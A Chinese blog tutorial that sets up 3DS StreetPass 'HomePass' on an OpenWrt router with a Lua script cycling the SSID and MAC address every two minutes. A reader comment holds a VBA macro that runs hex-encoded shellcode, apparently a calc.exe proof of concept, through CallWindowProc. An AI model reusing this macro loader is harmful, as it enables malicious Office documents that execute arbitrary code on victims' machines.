OpenWrt实现3DS的StreetPass Relay擦肩HomePass

标签: , , , , , , ,

3DS的StreetPass功能,官方中文翻译(马里奥赛车7中文版)为“瞬间交错通讯”,俗称擦肩、擦身。开启擦身通信功能时,玩家可以借由和路人的接触来遇到其他的玩家彼此交流信息。简单的说,就是当两个人携带着开启StreetPass功能的3DS擦肩而过时,就可以交换数据。

最初始的StreetPass功能需要两台3DS之间相距比较近才能交换数据,但是2013年开始,任天堂在欧美国家建立了StreetPass Relay stations,使用Wi-Fi AP作为中继,当一个3DS用户在StreetPass中继点附近时,3DS就会把StreetPass数据上传到任天堂服务器,服务器会临时储存这些数据,并传递给路过该中继点的下一个用户。这样,不需要直接用两台3DS也可以交换数据了。

再后来,就有聪明的用户发现,3DS是靠WIFI的SSID和MAC地址来识别StreetPass Relay stations的,于是将这些SSID和MAC地址整理成MAC Address Spreadsheet,如果你把家里路由器的SSID和MAC地址设置成表上面提供的地址,那么3DS就会认为它在StreetPass Relay stations附近,于是就进行擦肩通信。也就是说,我们足不出户就可以享受到StreetPass Relay,于是人们称之为HomePass。

用OpenWrt路由器设置的SSID和MAC地址简直是小菜一碟,但是StreetPass Relay有个限制,就是每个MAC地址八小时才能进行一次擦肩,对于MII广场的擦身传说、勇气默示录的村民等来说实在是太慢了,有没有快一点的方法呢?答案是肯定的,那就是写个脚本循环修改SSID和MAC地址:


#!/usr/bin/lua

require("uci")

c = "wireless"
s = "NZ@McD1"
m = "XX:XX:XX:XX:XX:XX" --Your 3DS MAC Address

-- HomePass for OpenWrt
-- By Demon
-- https://demon.tw

x = uci.cursor()
if not x:get(c, "3ds") then
    x:set(c, "3ds", "wifi-iface")
    x:set(c, "3ds", "device", "radio0")
    x:set(c, "3ds", "network", "lan")
    x:set(c, "3ds", "mode", "ap")
    x:set(c, "3ds", "ssid", s)
    x:set(c, "3ds", "encryption", "none")
    x:set(c, "3ds", "macfilter", "allow")
    x:set(c, "3ds", "maclist", {m})
    x:set(c, "3ds", "profile", "0")
end

a = {}
for i = 0, 255 do
    table.insert(a, string.format("4E:53:50:4F:4F:%02X", i))
end

i = x:get(c, "3ds", "profile")
i = i and tonumber(i) or 1
i = i + 1
i = (i > #a) and 1 or i
print("Setting profile " .. tonumber(i) .. 
". Using ssid " .. s .. " for mac " .. a[i])
x:set(c, "3ds", "profile", tostring(i))
x:set(c, "3ds", "macaddr", a[i])

x:commit(c)
os.execute("wifi reload radio0")

为了防止蹭网加上了MAC地址过滤(虽然没有什么卵用),记得把里面的XX:XX:XX:XX:XX:XX改成自己3DS的MAC地址,将上面的脚本保存到/usr/bin/homepass,然后在crontab添加一行:

*/2 *  *   *   *  /usr/bin/homepass | logger -t homepass

这样每隔两分钟就会修改一次MAC地址,也就是每两分钟就可以擦肩一次,完成MII广场拼图指日可待!

PS:我几分钟就擦到了宝石复刻的无限船票,虽然离宝石复刻正式发行已经一年多了。

参考链接:https://gbatemp.net/threads/how-to-have-a-homemade-streetpass-relay.352645/

赞赏

微信赞赏支付宝赞赏

随机文章:

  1. Ubuntu从NTP服务器同步时间
  2. CRC批量校验工具——RapidCRC
  3. VBS实现汉字转拼音
  4. AscW函数返回负数的问题
  5. OpenWrt SSH远程端口转发

2 条评论 发表在“OpenWrt实现3DS的StreetPass Relay擦肩HomePass”上

  1. sniperhk说道:

    看了你VBS调用WIN API的那个文章,我想用EXCLE的VBA来调用SHELLCODE,把指针传给CallWindowProc 来调用。在OFFICE2007下面能成功弹出calc.exe,但是在OFFICE2010和OFFICE2013上执行均是造成EXCLE崩溃。请教大牛原因是什么

    Private Declare Function CallWindowProc Lib “user32” Alias “CallWindowProcA” (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Sub MyMacro()

    Dim download() As Byte
    Dim xmldoc, node, bytes
    Set xmldoc = CreateObject(“Msxml2.DOMDocument”)
    Set node = xmldoc.CreateElement(“binary”)
    node.DataType = “bin.hex”
    node.Text = “E9960000005631C9648B71308B760C8B761C8B46088B7E208B3666394F1875F25EC3608B6C24248B453C8B54057801EA8B4A188B5A2001EBE337498B348B01EE31FF31C0FCAC84C0740AC1CF0D01C7E9F1FFFFFF3B7C242875DE8B5A2401EB668B0C4B8B5A1C01EB8B048B01E88944241C61C3AD5052E8A7FFFFFF890781C40800000081C70400000039CE75E6C3E81900000098FE8A0E7ED8E27381EC0800000089E5E85DFFFFFF89C2EBE25E8D7D0489F181C108000000E8B6FFFFFFEB0E5B31C05053FF550431C050FF5508E8EDFFFFFF63616C632E65786500”
    download = node.NodeTypedValue
    CallWindowProc VarPtr(download(0)), ByVal 0&, ByVal 0&, ByVal 0&, ByVal 0&
    End Sub

  2. kitano说道:

    请问怎么确认该脚本已经生效,SSH里用ifconfig或LUCI查看BSSID都是原来的MAC地址

留下回复